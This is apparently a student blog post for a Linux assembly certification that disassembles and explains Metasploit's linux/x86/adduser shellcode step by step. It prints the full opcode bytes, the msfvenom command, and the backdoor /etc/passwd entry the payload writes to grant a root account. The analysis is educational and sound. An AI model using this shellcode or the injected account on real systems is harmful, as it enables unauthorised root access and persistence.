Student ID: SLAE-1250 Assignment Five: Analysis of Shellcode Part One of Three - linux/x86/adduser This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification: http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html All code can be found in: https://github.com/securitychops/security-tube-slae32 All work was tested on a 32bit version of Ubuntu 12.10
Before doing anything else we must first generate our shellcode to perform the thorough analysis on!
As with the previous blog entires in the SLAE series, we start off by generating our shellcode and immediately converting it to base64 for easy transport between computers.
The msfvenom command used was as follows:
msfvenom -p linux/x86/adduser | base64
Which produced the following output:
after moving the base64 encoded contents into a file on the x86 Ubuntu VM I converted it back to raw with:
cat linux-x86-adduser.b64 | base64 -d > linux-x86-adduser
followed by the following command to start to analysis via ndisasm:
cat linux-x86-adduser | ndisasm -u -
“-u” specifies x86 and “-“ specifies to use the contents piped into it from the cat operation
which produced the following disassembled output:
00000000 31C9 xor ecx,ecx 00000002 89CB mov ebx,ecx 00000004 6A46 push byte +0x46 00000006 58 pop eax 00000007 CD80 int 0x80 00000009 6A05 push byte +0x5 0000000B 58 pop eax 0000000C 31C9 xor ecx,ecx 0000000E 51 push ecx 0000000F 6873737764 push dword 0x64777373 00000014 682F2F7061 push dword 0x61702f2f 00000019 682F657463 push dword 0x6374652f 0000001E 89E3 mov ebx,esp 00000020 41 inc ecx 00000021 B504 mov ch,0x4 00000023 CD80 int 0x80 00000025 93 xchg eax,ebx 00000026 E828000000 call dword 0x53 0000002B 6D insd 0000002C 657461 gs jz 0x90 0000002F 7370 jnc 0xa1 00000031 6C insb 00000032 6F outsd 00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a 0000003B 736A jnc 0xa7 0000003D 3470 xor al,0x70 0000003F 3449 xor al,0x49 00000041 52 push edx 00000042 633A arpl [edx],di 00000044 303A xor [edx],bh 00000046 303A xor [edx],bh 00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das 00000050 7368 jnc 0xba 00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx 00000056 FC cld 00000057 6A04 push byte +0x4 00000059 58 pop eax 0000005A CD80 int 0x80 0000005C 6A01 push byte +0x1 0000005E 58 pop eax 0000005F CD80 int 0x80
So what the heck is even going on here …
Anytime that we run across an int 0x80 we know that a system level interrupt is being called with whatever value is in eax…armed with that information we can now start to break apart this block of assembly code into more meaningful chunks of code for further analysis:
Side note: While doing our analysis we are going to be going a little out of order from the literal assembly code listed in each block to make the analysis flow a little smoother…here we go!
ASM Code Block One:
00000000 31C9 xor ecx,ecx 00000002 89CB mov ebx,ecx 00000004 6A46 push byte +0x46 00000006 58 pop eax 00000007 CD80 int 0x80
The very first thing we need to understand is push byte +0x46 (which is decimal value 70).
By referencing /usr/include/i386-linux-gnu/asm/unistd_32.h we are able to find out that the first function that we are going to be calling is:
#define __NR_setreuid 70
which in C is:
int setreuid(uid_t ruid, uid_t euid);
If we take a moment to think about the convention used to call C functions via a system interrupt (that we covered in our very first blog post for the SLAE) then the first several commands in this code block immediately jump out!
The first instruction is zeroing out ecx (the second parameter in their function call) via xor, however they are then moving ecx into ebx, which will actually be the first parameter being passed into setreuid!
We can think of it like the following: setreuid(ebx, ecx) or setreuid(0, 0).
After all of their function parameters are handled they then call setreuid by invoking the system interrupt.
The pseudocode version of the code would be as follows:
var ecx = 0; var ebx = 0; eax = setreuid(ebx, ecx);
So, after doing our analysis of block one we now know that step one of their shellcode is setting the effective user and group of the process/user executing the code to be 0 … which is root!
ASM Code Block Two:
00000009 6A05 push byte +0x5 0000000B 58 pop eax 0000000C 31C9 xor ecx,ecx 0000000E 51 push ecx 0000000F 6873737764 push dword 0x64777373 00000014 682F2F7061 push dword 0x61702f2f 00000019 682F657463 push dword 0x6374652f 0000001E 89E3 mov ebx,esp 00000020 41 inc ecx 00000021 B504 mov ch,0x4 00000023 CD80 int 0x80
First off let’s figure out what function they are calling by checkout what 0x05 (decimal 5) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_open 5
which in C is:
int open(const char *pathname, int flags);
Just like in the previous block they start by zeroing out ecx, however ebx is being handled a little bit differently.
Why are they pushing the following hex values directly onto the stack?
push dword 0x64777373 push dword 0x61702f2f push dword 0x6374652f
If we take a look at the first parameter of open we can see that it takes a pointer to an array of chars, which is in fact what they are setting up! If we convert the hex values to ascii we can see the characters they are pushing onto the stack are:
push dword "dwss" push dword "ap//" push dword "cte/"
Which will ultimately put dwssap//cte/ onto the stack (remember, it is backwards since x86 is little endian), so when they push the address of esp into ebx they are setting up the first parameter of the open function to point a char array containing /etc//password!
Just like before, we can think of the call to open like the following: open(ebx, ecx) or open(“/etc//password”, UNKNOWN)
Next up we need to get ecx set to the value of the flag that we want to open the file with, which are defined in: /usr/include/asm-generic/fcntl.h and whose values are stored in octal.
00000020 41 inc ecx 00000021 B504 mov ch,0x4
The first instruction increases the value ecx by one, so it goes from
0000 0000 0000 0000
0000 0000 0000 0001
While the second instruction moves the value of four into ch (high portion of the register), leaving cl (low portion of register) completely alone as such:
0000 0000 0000 0000
0000 0100 0000 0000
Which will ultimately yield us the following binary value for the ecx register:
0000 0100 0000 0001
Now that we know what the binary value of the ecx register is (our flag) how can we determine what flags really are being applied? The following excerpt from the open function in the flags section gives us a hint:
zero or more file creation flags and file status flags can be bitwise-or’d in flags.
So what we will need to do is go through the flags and perform a bitwise or operation on each of them until we find a match, fortunately for us we can pretty quickly identify which ones are the most likely candidates. Right away the first two that we tried were in fact the very same ones that it ended up being: O_WRONLY and O_APPEND. When we looked at them (in octal) they feel right at first glance:
#define O_WRONLY 00000001
#define O_APPEND 00002000
O_WRONLY is immediately obvious since our binary value is 0000 0100 0000 0001 and its octal value is: 00000001.
O_APPEND takes a little more work to recognize but if you convert 00002000 from octal to binary you will find that it ends up being 0000 0100 0000 0000 which is a perfect match to have work in a bitwise or against 0000 0100 0000 0000!
At this point our open function now looks like the following: open(ebx, ecx) or open(“/etc//password”, 0000 0100 0000 0001).
The pseudocode version of the above code would be as follows:
var ebx = eax; var ecx = O_WRONLY | O_APPEND; eax = open(ebx, ecx);
So after doing our analysis of the second block of code one we now know that their shellcode is opening up the system file /etc/password as write only with the ability to append content to it!
ASM Code Block Three:
00000025 93 xchg eax,ebx 00000026 E828000000 call dword 0x53 0000002B 6D insd 0000002C 657461 gs jz 0x90 0000002F 7370 jnc 0xa1 00000031 6C insb 00000032 6F outsd 00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a 0000003B 736A jnc 0xa7 0000003D 3470 xor al,0x70 0000003F 3449 xor al,0x49 00000041 52 push edx 00000042 633A arpl [edx],di 00000044 303A xor [edx],bh 00000046 303A xor [edx],bh 00000048 3A2F cmp ch,[edi] 0000004A 3A2F cmp ch,[edi] 0000004C 62696E bound ebp,[ecx+0x6e] 0000004F 2F das 00000050 7368 jnc 0xba 00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx 00000056 FC cld 00000057 6A04 push byte +0x4 00000059 58 pop eax 0000005A CD80 int 0x80
Let’s again start by figuring out what function they are going to ultimately be calling by checking out what the hexadecimal value of 0x04 (decimal 4) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_write 4
which in C is:
ssize_t write(int fd, const void *buf, size_t count);
So it looks like at the end of this code block we are going to be writing to the file /etc/passwd, which makes perfect sense given this shellcode has already opened up that file for write only with append rights!
Now that we have a basic understanding of what this code is going to do lets start walking it and see what is happening before they are writing to the /etc/passwd file:
00000025 93 xchg eax,ebx 00000026 E828000000 call dword 0x53
If we remember from the calling conventions anytime one of our functions has a return value it will end up being placed into the eax register, so when we made the call to open we ended up with an integer value of the new file descriptor inside of it, and if we are going to write to that file that we just opened we will want to use that file descriptor!
Since the first parameter of write is a file descriptor our neighbor friendly shellcode author needed to find a way to get the returned value from open (stored in eax) into the register ebx, so they simply leveraged the xchg instruction to exchange the values of those registers with each other!
Next up is the call instruction to jump to the address 0x53, however if we inspect the assembly code at that memory location we find out that it does not appear that the disassembly was clean as the memory address has the code jumping into the middle of an instruction…
00000052 0A598B or bl,[ecx-0x75] 00000055 51 push ecx 00000056 FC cld
Lets dig deeper by manually extracting the hex codes directly, starting with what would be in the memory location at address 0x53: 0x59, 0x8B, 0x51 and 0xFC
echo -e "\x59\x8B\x51\xFC" | ndisasm -u -
which produced the following output:
00000000 59 pop ecx 00000001 8B51FC mov edx,[ecx-0x4] 00000004 0A db 0x0a
Ok, this is definitely starting to get a little more complicated so lets recap where are at the moment …
We know we are going to call write and in order to do that we need to setup three parameters: fd, *buf and count
The register ebx is being handled from the xchg operation earlier so we have satisfied the first parameter:
write(ebx, const void *buf, size_t count);
Next up we need to work on the ecx register (the *buf) parameter. We can see that they immediately pop what is currently on the stack directly into ecx, but what is in the stack? At the moment it is the memory address of the of the command directly after call dword 0x53, which ends up being 00000004 0A db 0x0a, which is the memory location of the string that we would like to add to our /etc/passwd file!
How did we know this? This is an active example of the pop and call in action (from the infamous jmp, pop and call fame)!
Before we keep digging into the value pointed to in ecx lets take one quick moment to point out that the author of the shellcode moved into edx (our character count to write) the length of ecx subtracting four, so effectively something like (length(ecx) - 4). But why did they subtract four bytes from it? As it turns out if you remember we executed call dword 0x53 which comes after our string located at 00000004 0A db 0x0a, which is not part of that string … so we needed to remove those four bytes from the count of the buffer being written to avoid writing garbage into the /etc/passwd file.
Ok, so right now ecx contains the memory address pointing to 0x0A, but what is in there? From looking at the disassembled code it is pretty clear that there is just a lot of garbage in there right now, so we need to perform the same action of manually disassembling it like we did before, except in this case we know this is a string so we just want to see what the value will be. Fortunately xxd affords us the ability to do that with the following command:
From looking at the garbage hex we need to extract everything from 0x6D to 0x0A as such:
echo 6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A | xxd -r -p
Which returns the following value
It would be incredibly easy to accidentally end up using 0x6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A598B51FC (ask me how I know …) but remember, the reason why we did not have those last four bytes on the string was because they were actually the very same valid instructions that we jumped to earlier via the call instruction and should not be part of our string to be written our to the /etc/passwd file!
At this point our write function now looks like the following: write(ebx, ecx, edx) or write(FileId, “metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh”, 40).
The pseudocode version of the above code would be as follows:
var ebx = eax; var ecx = "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh"; var edx = length(ecx); eax = write(ebx, ecx, edx);
We are now up to the final block of code, which happily is very short and easy to understand!
ASM Code Block Four:
0000005C 6A01 push byte +0x1 0000005E 58 pop eax 0000005F CD80 int 0x80
As we have done several times before, we start off by checking what function that they are calling with the hexadecimal value of 0x01 (decimal 1) by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h.
Doing so shows us that this block code is doing nothing more than simply exiting the program, so we are now done with the analysis of the the first of three shellcodes from msfvenom!
#define __NR_exit 1
which in C is:
void _exit(int status);
The linux/x86/adduser shellcode from msfvenom performs the following steps:
- Sets the userid and effective groupid of the user/process to be zero via setreuid
- Opens /etc/passwd for writing/appending via open
- Writes metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh to the /etc/passwd file via write
- Exits the program via _exit